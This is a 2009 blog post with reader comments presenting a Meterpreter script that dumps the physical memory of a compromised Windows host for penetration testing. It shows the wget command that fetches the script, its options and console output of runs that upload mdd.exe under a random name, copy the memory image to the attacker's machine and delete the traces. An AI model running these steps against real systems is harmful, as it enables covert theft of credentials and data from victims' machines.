Meterpreter Memory Dump Script
Monday, March 9, 2009 at 11:35PM A couple of weeks ago my friend Mubix sent me an email with the idea of dumping a targets memory for analysis and information extraction and if I could write a Meterpreter script for it, I did a small run of some ideas and like any geek with ADD I started but never finished the script. But after hearing Pauldotcom podcast episode 142 and saw the same idea that Mubix and I had discussed in the great technical segment by Marcus J. Carey from DojoSec. I decided to finish the script. This Meterpreter script differs from other scripts I have written in that it requires a tool that is not built in Meterpreter or part of the target OS, it requires Man Tech Memory DD for imaging the target machine memory, this tool works on the following Microsoft Operating Systems: Windows 2000, Windows XP, Windows 2003 Server, Windows 2008 Server. For the execution of this script the mdd.exe must be downloaded and placed in the data directory of your Metasploit installation, in the case of BT4 this is in /pentest/exploits/framework3/data then the script is downloaded and placed in the Meterpreter script directory
cd /pentest/exploits/framework3/scripts/meterpreter/wget http://www.darkoperator.com/memdump.rb
Now that we have downloaded the script it can be used with the Meterpreter payload in a compromised windows target host. Once and exploit or client side attack is executed where we get a running Meterpreter session we can use this script. The options for the script are as follows:
meterpreter > run memdump -hMemory Dumper Meterpreter ScriptOPTIONS:-c Check Memory Size on target. Image file will be of this size-d Dump Memory do not download-h Help menu.-t <opt> Change the timeout default 5min. Specify timeout in secondsmeterpreter >
The first step would be to check the memory size of the target host to now what is the size of the physical memory this will let us know the size of the image that will be created, this is achieved by running the script with the –c option:
meterpreter > run memdump -c[*] Checking the memory size of the target machine ......[*] The size of the image will be the same as the amount of Physical Memory[*] Total Physical Memory: 383 MBmeterpreter >
The main reason we want to know this is for when we transfer that image, on a MS SQL server or Exchange server this may be several Gigabytes in size, especially since most modern servers come with 4GB as their minimum memory size.
To execute a full run with Download we execute the script in the following manner:
meterpreter > run memdump[*] Running Meterpreter Memory Dump Script.....[*] Uploading mdd for dumping targets memory....[*] mdd uploaded as C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\04522.exe[*] Dumping target memory to C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\85281.........[*] Finished dumping target memory[*] Deleting mdd.exe from target...[*] mdd.exe deleted[*] Downloading memory image to /root/.msf3/logs/memdump/192.168.1.785281[*] Finished downloading memory image[*] Deleting left over files...[*] Memory image on target deletedmeterpreter >
The script will perform the following:
- Upload mdd.exe to the path of the %TEMP% variable of the process under witch the Meterpreter session in running.
- The name will be a random generated number for obfuscation.
- It will dump the memory with a name of a random generated number also for obfuscation and for avoiding collision of files when multiple exploits and instances of the script are ran on the target machine.
- It will delete the mdd.exe on the target host.
- It will Download the image to the .msf3/logs/memdump/<target host ip><random number>
- Delete the memory image on the target host.
If the memory size is very big and the pentester wishes to use another method for downloading the image, only a dump can be executed:
meterpreter > run memdump -d[*] Running Meterpreter Memory Dump Script.....[*] Uploading mdd for dumping targets memory....[*] mdd uploaded as C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\35194.exe[*] Dumping target memory to C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\63258.........[*] Finished dumping target memory[*] Deleting mdd.exe from target...[*] mdd.exe deletedmeterpreter >
The default timeout for the execution and for the download of the file is of 5 minutes (300 seconds) this can be altered with the –t option and a value in seconds is given.
Once the image is downloaded it can be analyzed locally using Volatility Framework, more info about this can be found in the Pauldotcom wiki show notes for episode 142. I hope that you find this script useful and thanks to Mubix for having the mischievous idea that lead to the writing of this script.
Reader Comments (4)
Love your metepreter scripts, extremely useful. It would be nice to be able to use a script which utilises a tool like pmdump.exe - http://www.ntsecurity.nu/toolbox/pmdump/ allowing you to dump the memory of a single process. The dump files would be smaller in size thus saving you the trouble of potentially downloading gigabytes of data, particularly on modern machines which have several gigs of RAM. Also handy if you're only targeting a specific process on the remote host.
Regards.
The only reason I have not done one is that Meterpreter already has the same functionality as pwdump in hashdump,
pmdump is not to be confused with pwdump. Rather than extract password hashes, It dumps the contents of memory to a file like MDD but for individual processes, so it has a smaller footprint/filesize than MDD dumpfiles :)
aahhhh yes I have been playing with this one http://www.evilfingers.com/tools/ProcessMemoryDumper.php that Mubix showed me